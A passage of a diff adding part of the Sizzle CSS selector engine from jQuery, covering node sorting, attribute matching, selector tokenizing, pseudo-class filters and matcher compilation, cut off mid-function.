+				( indexOf( sortInput, a ) - indexOf( sortInput, b ) ) :
+				0;
+		}
+
+		return compare & 4 ? -1 : 1;
+	} :
+	function( a, b ) {
+		// Exit early if the nodes are identical
+		if ( a === b ) {
+			hasDuplicate = true;
+			return 0;
+		}
+
+		var cur,
+			i = 0,
+			aup = a.parentNode,
+			bup = b.parentNode,
+			ap = [ a ],
+			bp = [ b ];
+
+		// Parentless nodes are either documents or disconnected
+		if ( !aup || !bup ) {
+			return a === document ? -1 :
+				b === document ? 1 :
+				aup ? -1 :
+				bup ? 1 :
+				sortInput ?
+				( indexOf( sortInput, a ) - indexOf( sortInput, b ) ) :
+				0;
+
+		// If the nodes are siblings, we can do a quick check
+		} else if ( aup === bup ) {
+			return siblingCheck( a, b );
+		}
+
+		// Otherwise we need full lists of their ancestors for comparison
+		cur = a;
+		while ( (cur = cur.parentNode) ) {
+			ap.unshift( cur );
+		}
+		cur = b;
+		while ( (cur = cur.parentNode) ) {
+			bp.unshift( cur );
+		}
+
+		// Walk down the tree looking for a discrepancy
+		while ( ap[i] === bp[i] ) {
+			i++;
+		}
+
+		return i ?
+			// Do a sibling check if the nodes have a common ancestor
+			siblingCheck( ap[i], bp[i] ) :
+
+			// Otherwise nodes in our document sort first
+			ap[i] === preferredDoc ? -1 :
+			bp[i] === preferredDoc ? 1 :
+			0;
+	};
+
+	return document;
+};
+
+Sizzle.matches = function( expr, elements ) {
+	return Sizzle( expr, null, null, elements );
+};
+
+Sizzle.matchesSelector = function( elem, expr ) {
+	// Set document vars if needed
+	if ( ( elem.ownerDocument || elem ) !== document ) {
+		setDocument( elem );
+	}
+
+	// Make sure that attribute selectors are quoted
+	expr = expr.replace( rattributeQuotes, "='$1']" );
+
+	if ( support.matchesSelector && documentIsHTML &&
+		!compilerCache[ expr + " " ] &&
+		( !rbuggyMatches || !rbuggyMatches.test( expr ) ) &&
+		( !rbuggyQSA     || !rbuggyQSA.test( expr ) ) ) {
+
+		try {
+			var ret = matches.call( elem, expr );
+
+			// IE 9's matchesSelector returns false on disconnected nodes
+			if ( ret || support.disconnectedMatch ||
+					// As well, disconnected nodes are said to be in a document
+					// fragment in IE 9
+					elem.document && elem.document.nodeType !== 11 ) {
+				return ret;
+			}
+		} catch (e) {}
+	}
+
+	return Sizzle( expr, document, null, [ elem ] ).length > 0;
+};
+
+Sizzle.contains = function( context, elem ) {
+	// Set document vars if needed
+	if ( ( context.ownerDocument || context ) !== document ) {
+		setDocument( context );
+	}
+	return contains( context, elem );
+};
+
+Sizzle.attr = function( elem, name ) {
+	// Set document vars if needed
+	if ( ( elem.ownerDocument || elem ) !== document ) {
+		setDocument( elem );
+	}
+
+	var fn = Expr.attrHandle[ name.toLowerCase() ],
+		// Don't get fooled by Object.prototype properties (jQuery #13807)
+		val = fn && hasOwn.call( Expr.attrHandle, name.toLowerCase() ) ?
+			fn( elem, name, !documentIsHTML ) :
+			undefined;
+
+	return val !== undefined ?
+		val :
+		support.attributes || !documentIsHTML ?
+			elem.getAttribute( name ) :
+			(val = elem.getAttributeNode(name)) && val.specified ?
+				val.value :
+				null;
+};
+
+Sizzle.error = function( msg ) {
+	throw new Error( "Syntax error, unrecognized expression: " + msg );
+};
+
+/**
+ * Document sorting and removing duplicates
+ * @param {ArrayLike} results
+ */
+Sizzle.uniqueSort = function( results ) {
+	var elem,
+		duplicates = [],
+		j = 0,
+		i = 0;
+
+	// Unless we *know* we can detect duplicates, assume their presence
+	hasDuplicate = !support.detectDuplicates;
+	sortInput = !support.sortStable && results.slice( 0 );
+	results.sort( sortOrder );
+
+	if ( hasDuplicate ) {
+		while ( (elem = results[i++]) ) {
+			if ( elem === results[ i ] ) {
+				j = duplicates.push( i );
+			}
+		}
+		while ( j-- ) {
+			results.splice( duplicates[ j ], 1 );
+		}
+	}
+
+	// Clear input after sorting to release objects
+	// See https://github.com/jquery/sizzle/pull/225
+	sortInput = null;
+
+	return results;
+};
+
+/**
+ * Utility function for retrieving the text value of an array of DOM nodes
+ * @param {Array|Element} elem
+ */
+getText = Sizzle.getText = function( elem ) {
+	var node,
+		ret = "",
+		i = 0,
+		nodeType = elem.nodeType;
+
+	if ( !nodeType ) {
+		// If no nodeType, this is expected to be an array
+		while ( (node = elem[i++]) ) {
+			// Do not traverse comment nodes
+			ret += getText( node );
+		}
+	} else if ( nodeType === 1 || nodeType === 9 || nodeType === 11 ) {
+		// Use textContent for elements
+		// innerText usage removed for consistency of new lines (jQuery #11153)
+		if ( typeof elem.textContent === "string" ) {
+			return elem.textContent;
+		} else {
+			// Traverse its children
+			for ( elem = elem.firstChild; elem; elem = elem.nextSibling ) {
+				ret += getText( elem );
+			}
+		}
+	} else if ( nodeType === 3 || nodeType === 4 ) {
+		return elem.nodeValue;
+	}
+	// Do not include comment or processing instruction nodes
+
+	return ret;
+};
+
+Expr = Sizzle.selectors = {
+
+	// Can be adjusted by the user
+	cacheLength: 50,
+
+	createPseudo: markFunction,
+
+	match: matchExpr,
+
+	attrHandle: {},
+
+	find: {},
+
+	relative: {
+		">": { dir: "parentNode", first: true },
+		" ": { dir: "parentNode" },
+		"+": { dir: "previousSibling", first: true },
+		"~": { dir: "previousSibling" }
+	},
+
+	preFilter: {
+		"ATTR": function( match ) {
+			match[1] = match[1].replace( runescape, funescape );
+
+			// Move the given value to match[3] whether quoted or unquoted
+			match[3] = ( match[3] || match[4] || match[5] || "" ).replace( runescape, funescape );
+
+			if ( match[2] === "~=" ) {
+				match[3] = " " + match[3] + " ";
+			}
+
+			return match.slice( 0, 4 );
+		},
+
+		"CHILD": function( match ) {
+			/* matches from matchExpr["CHILD"]
+				1 type (only|nth|...)
+				2 what (child|of-type)
+				3 argument (even|odd|\d*|\d*n([+-]\d+)?|...)
+				4 xn-component of xn+y argument ([+-]?\d*n|)
+				5 sign of xn-component
+				6 x of xn-component
+				7 sign of y-component
+				8 y of y-component
+			*/
+			match[1] = match[1].toLowerCase();
+
+			if ( match[1].slice( 0, 3 ) === "nth" ) {
+				// nth-* requires argument
+				if ( !match[3] ) {
+					Sizzle.error( match[0] );
+				}
+
+				// numeric x and y parameters for Expr.filter.CHILD
+				// remember that false/true cast respectively to 0/1
+				match[4] = +( match[4] ? match[5] + (match[6] || 1) : 2 * ( match[3] === "even" || match[3] === "odd" ) );
+				match[5] = +( ( match[7] + match[8] ) || match[3] === "odd" );
+
+			// other types prohibit arguments
+			} else if ( match[3] ) {
+				Sizzle.error( match[0] );
+			}
+
+			return match;
+		},
+
+		"PSEUDO": function( match ) {
+			var excess,
+				unquoted = !match[6] && match[2];
+
+			if ( matchExpr["CHILD"].test( match[0] ) ) {
+				return null;
+			}
+
+			// Accept quoted arguments as-is
+			if ( match[3] ) {
+				match[2] = match[4] || match[5] || "";
+
+			// Strip excess characters from unquoted arguments
+			} else if ( unquoted && rpseudo.test( unquoted ) &&
+				// Get excess from tokenize (recursively)
+				(excess = tokenize( unquoted, true )) &&
+				// advance to the next closing parenthesis
+				(excess = unquoted.indexOf( ")", unquoted.length - excess ) - unquoted.length) ) {
+
+				// excess is a negative index
+				match[0] = match[0].slice( 0, excess );
+				match[2] = unquoted.slice( 0, excess );
+			}
+
+			// Return only captures needed by the pseudo filter method (type and argument)
+			return match.slice( 0, 3 );
+		}
+	},
+
+	filter: {
+
+		"TAG": function( nodeNameSelector ) {
+			var nodeName = nodeNameSelector.replace( runescape, funescape ).toLowerCase();
+			return nodeNameSelector === "*" ?
+				function() { return true; } :
+				function( elem ) {
+					return elem.nodeName && elem.nodeName.toLowerCase() === nodeName;
+				};
+		},
+
+		"CLASS": function( className ) {
+			var pattern = classCache[ className + " " ];
+
+			return pattern ||
+				(pattern = new RegExp( "(^|" + whitespace + ")" + className + "(" + whitespace + "|$)" )) &&
+				classCache( className, function( elem ) {
+					return pattern.test( typeof elem.className === "string" && elem.className || typeof elem.getAttribute !== "undefined" && elem.getAttribute("class") || "" );
+				});
+		},
+
+		"ATTR": function( name, operator, check ) {
+			return function( elem ) {
+				var result = Sizzle.attr( elem, name );
+
+				if ( result == null ) {
+					return operator === "!=";
+				}
+				if ( !operator ) {
+					return true;
+				}
+
+				result += "";
+
+				return operator === "=" ? result === check :
+					operator === "!=" ? result !== check :
+					operator === "^=" ? check && result.indexOf( check ) === 0 :
+					operator === "*=" ? check && result.indexOf( check ) > -1 :
+					operator === "$=" ? check && result.slice( -check.length ) === check :
+					operator === "~=" ? ( " " + result.replace( rwhitespace, " " ) + " " ).indexOf( check ) > -1 :
+					operator === "|=" ? result === check || result.slice( 0, check.length + 1 ) === check + "-" :
+					false;
+			};
+		},
+
+		"CHILD": function( type, what, argument, first, last ) {
+			var simple = type.slice( 0, 3 ) !== "nth",
+				forward = type.slice( -4 ) !== "last",
+				ofType = what === "of-type";
+
+			return first === 1 && last === 0 ?
+
+				// Shortcut for :nth-*(n)
+				function( elem ) {
+					return !!elem.parentNode;
+				} :
+
+				function( elem, context, xml ) {
+					var cache, uniqueCache, outerCache, node, nodeIndex, start,
+						dir = simple !== forward ? "nextSibling" : "previousSibling",
+						parent = elem.parentNode,
+						name = ofType && elem.nodeName.toLowerCase(),
+						useCache = !xml && !ofType,
+						diff = false;
+
+					if ( parent ) {
+
+						// :(first|last|only)-(child|of-type)
+						if ( simple ) {
+							while ( dir ) {
+								node = elem;
+								while ( (node = node[ dir ]) ) {
+									if ( ofType ?
+										node.nodeName.toLowerCase() === name :
+										node.nodeType === 1 ) {
+
+										return false;
+									}
+								}
+								// Reverse direction for :only-* (if we haven't yet done so)
+								start = dir = type === "only" && !start && "nextSibling";
+							}
+							return true;
+						}
+
+						start = [ forward ? parent.firstChild : parent.lastChild ];
+
+						// non-xml :nth-child(...) stores cache data on `parent`
+						if ( forward && useCache ) {
+
+							// Seek `elem` from a previously-cached index
+
+							// ...in a gzip-friendly way
+							node = parent;
+							outerCache = node[ expando ] || (node[ expando ] = {});
+
+							// Support: IE <9 only
+							// Defend against cloned attroperties (jQuery gh-1709)
+							uniqueCache = outerCache[ node.uniqueID ] ||
+								(outerCache[ node.uniqueID ] = {});
+
+							cache = uniqueCache[ type ] || [];
+							nodeIndex = cache[ 0 ] === dirruns && cache[ 1 ];
+							diff = nodeIndex && cache[ 2 ];
+							node = nodeIndex && parent.childNodes[ nodeIndex ];
+
+							while ( (node = ++nodeIndex && node && node[ dir ] ||
+
+								// Fallback to seeking `elem` from the start
+								(diff = nodeIndex = 0) || start.pop()) ) {
+
+								// When found, cache indexes on `parent` and break
+								if ( node.nodeType === 1 && ++diff && node === elem ) {
+									uniqueCache[ type ] = [ dirruns, nodeIndex, diff ];
+									break;
+								}
+							}
+
+						} else {
+							// Use previously-cached element index if available
+							if ( useCache ) {
+								// ...in a gzip-friendly way
+								node = elem;
+								outerCache = node[ expando ] || (node[ expando ] = {});
+
+								// Support: IE <9 only
+								// Defend against cloned attroperties (jQuery gh-1709)
+								uniqueCache = outerCache[ node.uniqueID ] ||
+									(outerCache[ node.uniqueID ] = {});
+
+								cache = uniqueCache[ type ] || [];
+								nodeIndex = cache[ 0 ] === dirruns && cache[ 1 ];
+								diff = nodeIndex;
+							}
+
+							// xml :nth-child(...)
+							// or :nth-last-child(...) or :nth(-last)?-of-type(...)
+							if ( diff === false ) {
+								// Use the same loop as above to seek `elem` from the start
+								while ( (node = ++nodeIndex && node && node[ dir ] ||
+									(diff = nodeIndex = 0) || start.pop()) ) {
+
+									if ( ( ofType ?
+										node.nodeName.toLowerCase() === name :
+										node.nodeType === 1 ) &&
+										++diff ) {
+
+										// Cache the index of each encountered element
+										if ( useCache ) {
+											outerCache = node[ expando ] || (node[ expando ] = {});
+
+											// Support: IE <9 only
+											// Defend against cloned attroperties (jQuery gh-1709)
+											uniqueCache = outerCache[ node.uniqueID ] ||
+												(outerCache[ node.uniqueID ] = {});
+
+											uniqueCache[ type ] = [ dirruns, diff ];
+										}
+
+										if ( node === elem ) {
+											break;
+										}
+									}
+								}
+							}
+						}
+
+						// Incorporate the offset, then check against cycle size
+						diff -= last;
+						return diff === first || ( diff % first === 0 && diff / first >= 0 );
+					}
+				};
+		},
+
+		"PSEUDO": function( pseudo, argument ) {
+			// pseudo-class names are case-insensitive
+			// http://www.w3.org/TR/selectors/#pseudo-classes
+			// Prioritize by case sensitivity in case custom pseudos are added with uppercase letters
+			// Remember that setFilters inherits from pseudos
+			var args,
+				fn = Expr.pseudos[ pseudo ] || Expr.setFilters[ pseudo.toLowerCase() ] ||
+					Sizzle.error( "unsupported pseudo: " + pseudo );
+
+			// The user may use createPseudo to indicate that
+			// arguments are needed to create the filter function
+			// just as Sizzle does
+			if ( fn[ expando ] ) {
+				return fn( argument );
+			}
+
+			// But maintain support for old signatures
+			if ( fn.length > 1 ) {
+				args = [ pseudo, pseudo, "", argument ];
+				return Expr.setFilters.hasOwnProperty( pseudo.toLowerCase() ) ?
+					markFunction(function( seed, matches ) {
+						var idx,
+							matched = fn( seed, argument ),
+							i = matched.length;
+						while ( i-- ) {
+							idx = indexOf( seed, matched[i] );
+							seed[ idx ] = !( matches[ idx ] = matched[i] );
+						}
+					}) :
+					function( elem ) {
+						return fn( elem, 0, args );
+					};
+			}
+
+			return fn;
+		}
+	},
+
+	pseudos: {
+		// Potentially complex pseudos
+		"not": markFunction(function( selector ) {
+			// Trim the selector passed to compile
+			// to avoid treating leading and trailing
+			// spaces as combinators
+			var input = [],
+				results = [],
+				matcher = compile( selector.replace( rtrim, "$1" ) );
+
+			return matcher[ expando ] ?
+				markFunction(function( seed, matches, context, xml ) {
+					var elem,
+						unmatched = matcher( seed, null, xml, [] ),
+						i = seed.length;
+
+					// Match elements unmatched by `matcher`
+					while ( i-- ) {
+						if ( (elem = unmatched[i]) ) {
+							seed[i] = !(matches[i] = elem);
+						}
+					}
+				}) :
+				function( elem, context, xml ) {
+					input[0] = elem;
+					matcher( input, null, xml, results );
+					// Don't keep the element (issue #299)
+					input[0] = null;
+					return !results.pop();
+				};
+		}),
+
+		"has": markFunction(function( selector ) {
+			return function( elem ) {
+				return Sizzle( selector, elem ).length > 0;
+			};
+		}),
+
+		"contains": markFunction(function( text ) {
+			text = text.replace( runescape, funescape );
+			return function( elem ) {
+				return ( elem.textContent || elem.innerText || getText( elem ) ).indexOf( text ) > -1;
+			};
+		}),
+
+		// "Whether an element is represented by a :lang() selector
+		// is based solely on the element's language value
+		// being equal to the identifier C,
+		// or beginning with the identifier C immediately followed by "-".
+		// The matching of C against the element's language value is performed case-insensitively.
+		// The identifier C does not have to be a valid language name."
+		// http://www.w3.org/TR/selectors/#lang-pseudo
+		"lang": markFunction( function( lang ) {
+			// lang value must be a valid identifier
+			if ( !ridentifier.test(lang || "") ) {
+				Sizzle.error( "unsupported lang: " + lang );
+			}
+			lang = lang.replace( runescape, funescape ).toLowerCase();
+			return function( elem ) {
+				var elemLang;
+				do {
+					if ( (elemLang = documentIsHTML ?
+						elem.lang :
+						elem.getAttribute("xml:lang") || elem.getAttribute("lang")) ) {
+
+						elemLang = elemLang.toLowerCase();
+						return elemLang === lang || elemLang.indexOf( lang + "-" ) === 0;
+					}
+				} while ( (elem = elem.parentNode) && elem.nodeType === 1 );
+				return false;
+			};
+		}),
+
+		// Miscellaneous
+		"target": function( elem ) {
+			var hash = window.location && window.location.hash;
+			return hash && hash.slice( 1 ) === elem.id;
+		},
+
+		"root": function( elem ) {
+			return elem === docElem;
+		},
+
+		"focus": function( elem ) {
+			return elem === document.activeElement && (!document.hasFocus || document.hasFocus()) && !!(elem.type || elem.href || ~elem.tabIndex);
+		},
+
+		// Boolean properties
+		"enabled": function( elem ) {
+			return elem.disabled === false;
+		},
+
+		"disabled": function( elem ) {
+			return elem.disabled === true;
+		},
+
+		"checked": function( elem ) {
+			// In CSS3, :checked should return both checked and selected elements
+			// http://www.w3.org/TR/2011/REC-css3-selectors-20110929/#checked
+			var nodeName = elem.nodeName.toLowerCase();
+			return (nodeName === "input" && !!elem.checked) || (nodeName === "option" && !!elem.selected);
+		},
+
+		"selected": function( elem ) {
+			// Accessing this property makes selected-by-default
+			// options in Safari work properly
+			if ( elem.parentNode ) {
+				elem.parentNode.selectedIndex;
+			}
+
+			return elem.selected === true;
+		},
+
+		// Contents
+		"empty": function( elem ) {
+			// http://www.w3.org/TR/selectors/#empty-pseudo
+			// :empty is negated by element (1) or content nodes (text: 3; cdata: 4; entity ref: 5),
+			//   but not by others (comment: 8; processing instruction: 7; etc.)
+			// nodeType < 6 works because attributes (2) do not appear as children
+			for ( elem = elem.firstChild; elem; elem = elem.nextSibling ) {
+				if ( elem.nodeType < 6 ) {
+					return false;
+				}
+			}
+			return true;
+		},
+
+		"parent": function( elem ) {
+			return !Expr.pseudos["empty"]( elem );
+		},
+
+		// Element/input types
+		"header": function( elem ) {
+			return rheader.test( elem.nodeName );
+		},
+
+		"input": function( elem ) {
+			return rinputs.test( elem.nodeName );
+		},
+
+		"button": function( elem ) {
+			var name = elem.nodeName.toLowerCase();
+			return name === "input" && elem.type === "button" || name === "button";
+		},
+
+		"text": function( elem ) {
+			var attr;
+			return elem.nodeName.toLowerCase() === "input" &&
+				elem.type === "text" &&
+
+				// Support: IE<8
+				// New HTML5 attribute values (e.g., "search") appear with elem.type === "text"
+				( (attr = elem.getAttribute("type")) == null || attr.toLowerCase() === "text" );
+		},
+
+		// Position-in-collection
+		"first": createPositionalPseudo(function() {
+			return [ 0 ];
+		}),
+
+		"last": createPositionalPseudo(function( matchIndexes, length ) {
+			return [ length - 1 ];
+		}),
+
+		"eq": createPositionalPseudo(function( matchIndexes, length, argument ) {
+			return [ argument < 0 ? argument + length : argument ];
+		}),
+
+		"even": createPositionalPseudo(function( matchIndexes, length ) {
+			var i = 0;
+			for ( ; i < length; i += 2 ) {
+				matchIndexes.push( i );
+			}
+			return matchIndexes;
+		}),
+
+		"odd": createPositionalPseudo(function( matchIndexes, length ) {
+			var i = 1;
+			for ( ; i < length; i += 2 ) {
+				matchIndexes.push( i );
+			}
+			return matchIndexes;
+		}),
+
+		"lt": createPositionalPseudo(function( matchIndexes, length, argument ) {
+			var i = argument < 0 ? argument + length : argument;
+			for ( ; --i >= 0; ) {
+				matchIndexes.push( i );
+			}
+			return matchIndexes;
+		}),
+
+		"gt": createPositionalPseudo(function( matchIndexes, length, argument ) {
+			var i = argument < 0 ? argument + length : argument;
+			for ( ; ++i < length; ) {
+				matchIndexes.push( i );
+			}
+			return matchIndexes;
+		})
+	}
+};
+
+Expr.pseudos["nth"] = Expr.pseudos["eq"];
+
+// Add button/input type pseudos
+for ( i in { radio: true, checkbox: true, file: true, password: true, image: true } ) {
+	Expr.pseudos[ i ] = createInputPseudo( i );
+}
+for ( i in { submit: true, reset: true } ) {
+	Expr.pseudos[ i ] = createButtonPseudo( i );
+}
+
+// Easy API for creating new setFilters
+function setFilters() {}
+setFilters.prototype = Expr.filters = Expr.pseudos;
+Expr.setFilters = new setFilters();
+
+tokenize = Sizzle.tokenize = function( selector, parseOnly ) {
+	var matched, match, tokens, type,
+		soFar, groups, preFilters,
+		cached = tokenCache[ selector + " " ];
+
+	if ( cached ) {
+		return parseOnly ? 0 : cached.slice( 0 );
+	}
+
+	soFar = selector;
+	groups = [];
+	preFilters = Expr.preFilter;
+
+	while ( soFar ) {
+
+		// Comma and first run
+		if ( !matched || (match = rcomma.exec( soFar )) ) {
+			if ( match ) {
+				// Don't consume trailing commas as valid
+				soFar = soFar.slice( match[0].length ) || soFar;
+			}
+			groups.push( (tokens = []) );
+		}
+
+		matched = false;
+
+		// Combinators
+		if ( (match = rcombinators.exec( soFar )) ) {
+			matched = match.shift();
+			tokens.push({
+				value: matched,
+				// Cast descendant combinators to space
+				type: match[0].replace( rtrim, " " )
+			});
+			soFar = soFar.slice( matched.length );
+		}
+
+		// Filters
+		for ( type in Expr.filter ) {
+			if ( (match = matchExpr[ type ].exec( soFar )) && (!preFilters[ type ] ||
+				(match = preFilters[ type ]( match ))) ) {
+				matched = match.shift();
+				tokens.push({
+					value: matched,
+					type: type,
+					matches: match
+				});
+				soFar = soFar.slice( matched.length );
+			}
+		}
+
+		if ( !matched ) {
+			break;
+		}
+	}
+
+	// Return the length of the invalid excess
+	// if we're just parsing
+	// Otherwise, throw an error or return tokens
+	return parseOnly ?
+		soFar.length :
+		soFar ?
+			Sizzle.error( selector ) :
+			// Cache the tokens
+			tokenCache( selector, groups ).slice( 0 );
+};
+
+function toSelector( tokens ) {
+	var i = 0,
+		len = tokens.length,
+		selector = "";
+	for ( ; i < len; i++ ) {
+		selector += tokens[i].value;
+	}
+	return selector;
+}
+
+function addCombinator( matcher, combinator, base ) {
+	var dir = combinator.dir,
+		checkNonElements = base && dir === "parentNode",
+		doneName = done++;
+
+	return combinator.first ?
+		// Check against closest ancestor/preceding element
+		function( elem, context, xml ) {
+			while ( (elem = elem[ dir ]) ) {
+				if ( elem.nodeType === 1 || checkNonElements ) {
+					return matcher( elem, context, xml );
+				}
+			}
+		} :
+
+		// Check against all ancestor/preceding elements
+		function( elem, context, xml ) {
+			var oldCache, uniqueCache, outerCache,
+				newCache = [ dirruns, doneName ];
+
+			// We can't set arbitrary data on XML nodes, so they don't benefit from combinator caching
+			if ( xml ) {
+				while ( (elem = elem[ dir ]) ) {
+					if ( elem.nodeType === 1 || checkNonElements ) {
+						if ( matcher( elem, context, xml ) ) {
+							return true;
+						}
+					}
+				}
+			} else {
+				while ( (elem = elem[ dir ]) ) {
+					if ( elem.nodeType === 1 || checkNonElements ) {
+						outerCache = elem[ expando ] || (elem[ expando ] = {});
+
+						// Support: IE <9 only
+						// Defend against cloned attroperties (jQuery gh-1709)
+						uniqueCache = outerCache[ elem.uniqueID ] || (outerCache[ elem.uniqueID ] = {});
+
+						if ( (oldCache = uniqueCache[ dir ]) &&
+							oldCache[ 0 ] === dirruns && oldCache[ 1 ] === doneName ) {
+
+							// Assign to newCache so results back-propagate to previous elements
+							return (newCache[ 2 ] = oldCache[ 2 ]);
+						} else {
+							// Reuse newcache so results back-propagate to previous elements
+							uniqueCache[ dir ] = newCache;
+
+							// A match means we're done; a fail means we have to keep checking
+							if ( (newCache[ 2 ] = matcher( elem, context, xml )) ) {
+								return true;
+							}
+						}
+					}
+				}
+			}
+		};
+}
+
+function elementMatcher( matchers ) {
+	return matchers.length > 1 ?
+		function( elem, context, xml ) {
+			var i = matchers.length;
+			while ( i-- ) {
+				if ( !matchers[i]( elem, context, xml ) ) {
+					return false;
+				}
+			}
+			return true;
+		} :
+		matchers[0];
+}
+
+function multipleContexts( selector, contexts, results ) {
+	var i = 0,
+		len = contexts.length;
+	for ( ; i < len; i++ ) {
+		Sizzle( selector, contexts[i], results );
+	}
+	return results;
+}
+
+function condense( unmatched, map, filter, context, xml ) {
+	var elem,
+		newUnmatched = [],
+		i = 0,
+		len = unmatched.length,
+		mapped = map != null;
+
+	for ( ; i < len; i++ ) {
+		if ( (elem = unmatched[i]) ) {
+			if ( !filter || filter( elem, context, xml ) ) {
+				newUnmatched.push( elem );
+				if ( mapped ) {
+					map.push( i );
+				}
+			}
+		}
+	}
+
+	return newUnmatched;
+}
+
+function setMatcher( preFilter, selector, matcher, postFilter, postFinder, postSelector ) {
+	if ( postFilter && !postFilter[ expando ] ) {
+		postFilter = setMatcher( postFilter );
+	}
+	if ( postFinder && !postFinder[ expando ] ) {
+		postFinder = setMatcher( postFinder, postSelector );
+	}
+	return markFunction(function( seed, results, context, xml ) {
+		var temp, i, elem,
+			preMap = [],
+			postMap = [],
+			preexisting = results.length,
+
+			// Get initial elements from seed or context
+			elems = seed || multipleContexts( selector || "*", context.nodeType ? [ context ] : context, [] ),
+
+			// Prefilter to get matcher input, preserving a map for seed-results synchronization
+			matcherIn = preFilter && ( seed || !selector ) ?
+				condense( elems, preMap, preFilter, context, xml ) :
+				elems,
+
+			matcherOut = matcher ?
+				// If we have a postFinder, or filtered seed, or non-seed postFilter or preexisting results,
+				postFinder || ( seed ? preFilter : preexisting || postFilter ) ?
+
+					// ...intermediate processing is necessary
+					[] :
+
+					// ...otherwise use results directly
+					results :
+				matcherIn;
+
+		// Find primary matches
+		if ( matcher ) {
+			matcher( matcherIn, matcherOut, context, xml );
+		}
+
+		// Apply postFilter
+		if ( postFilter ) {
+			temp = condense( matcherOut, postMap );
+			postFilter( temp, [], context, xml );
+
+			// Un-match failing elements by moving them back to matcherIn
+			i = temp.length;
+			while ( i-- ) {
+				if ( (elem = temp[i]) ) {
+					matcherOut[ postMap[i] ] = !(matcherIn[ postMap[i] ] = elem);
+				}
+			}
+		}
+
+		if ( seed ) {
+			if ( postFinder || preFilter ) {
+				if ( postFinder ) {
+					// Get the final matcherOut by condensing this intermediate into postFinder contexts
+					temp = [];
+					i = matcherOut.length;
+					while ( i-- ) {
+						if ( (elem = matcherOut[i]) ) {
+							// Restore matcherIn since elem is not yet a final match
+							temp.push( (matcherIn[i] = elem) );
+						}
+					}
+					postFinder( null, (matcherOut = []), temp, xml );
+				}
+
+				// Move matched elements from seed to results to keep them synchronized
+				i = matcherOut.length;
+				while ( i-- ) {
+					if ( (elem = matcherOut[i]) &&
+						(temp = postFinder ? indexOf( seed, elem ) : preMap[i]) > -1 ) {
+
+						seed[temp] = !(results[temp] = elem);
+					}
+				}
+			}
+
+		// Add elements to results, through postFinder if defined
+		} else {
+			matcherOut = condense(
+				matcherOut === results ?
+					matcherOut.splice( preexisting, matcherOut.length ) :
+					matcherOut
+			);
+			if ( postFinder ) {
+				postFinder( null, results, matcherOut, xml );
+			} else {
+				push.apply( results, matcherOut );
+			}
+		}
+	});
+}
+
+function matcherFromTokens( tokens ) {
+	var checkContext, matcher, j,
+		len = tokens.length,
+		leadingRelative = Expr.relative[ tokens[0].type ],
+		implicitRelative = leadingRelative || Expr.relative[" "],
+		i = leadingRelative ? 1 : 0,
+
+		// The foundational matcher ensures that elements are reachable from top-level context(s)
+		matchContext = addCombinator( function( elem ) {
+			return elem === checkContext;
+		}, implicitRelative, true ),
+		matchAnyContext = addCombinator( function( elem ) {
+			return indexOf( checkContext, elem ) > -1;
+		}, implicitRelative, true ),
+		matchers = [ function( elem, context, xml ) {
+			var ret = ( !leadingRelative && ( xml || context !== outermostContext ) ) || (
+				(checkContext = context).nodeType ?
+					matchContext( elem, context, xml ) :
+					matchAnyContext( elem, context, xml ) );
+			// Avoid hanging onto element (issue #299)
+			checkContext = null;
+			return ret;
+		} ];
+
+	for ( ; i < len; i++ ) {
+		if ( (matcher = Expr.relative[ tokens[i].type ]) ) {
+			matchers = [ addCombinator(elementMatcher( matchers ), matcher) ];
+		} else {
+			matcher = Expr.filter[ tokens[i].type ].apply( null, tokens[i].matches );
+
+			// Return special upon seeing a positional matcher
+			if ( matcher[ expando ] ) {
+				// Find the next relative operator (if any) for proper handling
+				j = ++i;
+				for ( ; j < len; j++ ) {
+					if ( Expr.relative[ tokens[j].type ] ) {
+						break;
+					}
+				}
+				return setMatcher(
+					i > 1 && elementMatcher( matchers ),
+					i > 1 && toSelector(
+						// If the preceding token was a descendant combinator, insert an implicit any-element `*`
+						tokens.slice( 0, i - 1 ).concat({ value: tokens[ i - 2 ].type === " " ? "*" : "" })
+					).replace( rtrim, "$1" ),
+					matcher,
+					i < j && matcherFromTokens( tokens.slice( i, j ) ),
+					j < len && matcherFromTokens( (tokens = tokens.slice( j )) ),
+					j < len && toSelector( tokens )
+				);
+			}
+			matchers.push( matcher );
+		}
+	}
+
+	return elementMatcher( matchers );
+}
+
+function matcherFromGroupMatchers( elementMatchers, setMatchers ) {
+	var bySet = setMatchers.length > 0,
+		byElement = elementMatchers.length > 0,
+		superMatcher = function( seed, context, xml, results, outermost ) {
+			var elem, j, matcher,
+				matchedCount = 0,
+				i = "0",
+				unmatched = seed && [],
+				setMatched = [],
+				contextBackup = outermostContext,
+				// We must always have either seed elements or outermost context
+				elems = seed || byElement && Expr.find["TAG"]( "*", outermost ),
+				// Use integer dirruns iff this is the outermost matcher
+				dirrunsUnique = (dirruns += contextBackup == null ? 1 : Math.random() || 0.1),
+				len = elems.length;
+
+			if ( outermost ) {
+				outermostContext = context === document || context || outermost;
+			}
+
+			// Add elements passing elementMatchers directly to results
+			// Support: IE<9, Safari
+			// Tolerate NodeList properties (IE: "length"; Safari: <number>) matching elements by id
+			for ( ; i !== len && (elem = elems[i]) != null; i++ ) {
+				if ( byElement && elem ) {
+					j = 0;
+					if ( !context && elem.ownerDocument !== document ) {
+						setDocument( elem );
+						xml = !documentIsHTML;
+					}
+					while ( (matcher = elementMatchers[j++]) ) {
+						if ( matcher( elem, context || document, xml) ) {
+							results.push( elem );
+							break;
+						}
+					}
+					if ( outermost ) {
+						dirruns = dirrunsUnique;
+					}
+				}
+
+				// Track unmatched elements for set filters
+				if ( bySet ) {
+					// They will have gone through all possible matchers
+					if ( (elem = !matcher && elem) ) {
+						matchedCount--;
+					}
+
+					// Lengthen the array for every element, matched or not
+					if ( seed ) {
+						unmatched.push( elem );
+					}
+				}
+			}
+
+			// `i` is now the count of elements visited above, and adding it to `matchedCount`
+			// makes the latter nonnegative.
+			matchedCount += i;
+
+			// Apply set filters to unmatched elements
+			// NOTE: This can be skipped if there are no unmatched elements (i.e., `matchedCount`
+			// equals `i`), unless we didn't visit _any_ elements in the above loop because we have
+			// no element matchers and no seed.
+			// Incrementing an initially-string "0" `i` allows `i` to remain a string only in that
+			// case, which will result in a "00" `matchedCount` that differs from `i` but is also
+			// numerically zero.
+			if ( bySet && i !== matchedCount ) {
+				j = 0;
+				while ( (matcher = setMatchers[j++]) ) {
+					matcher( unmatched, setMatched, context, xml );
+				}
+
+				if ( seed ) {
+					// Reintegrate element matches to eliminate the need for sorting
+					if ( matchedCount > 0 ) {
+						while ( i-- ) {
+							if ( !(unmatched[i] || setMatched[i]) ) {
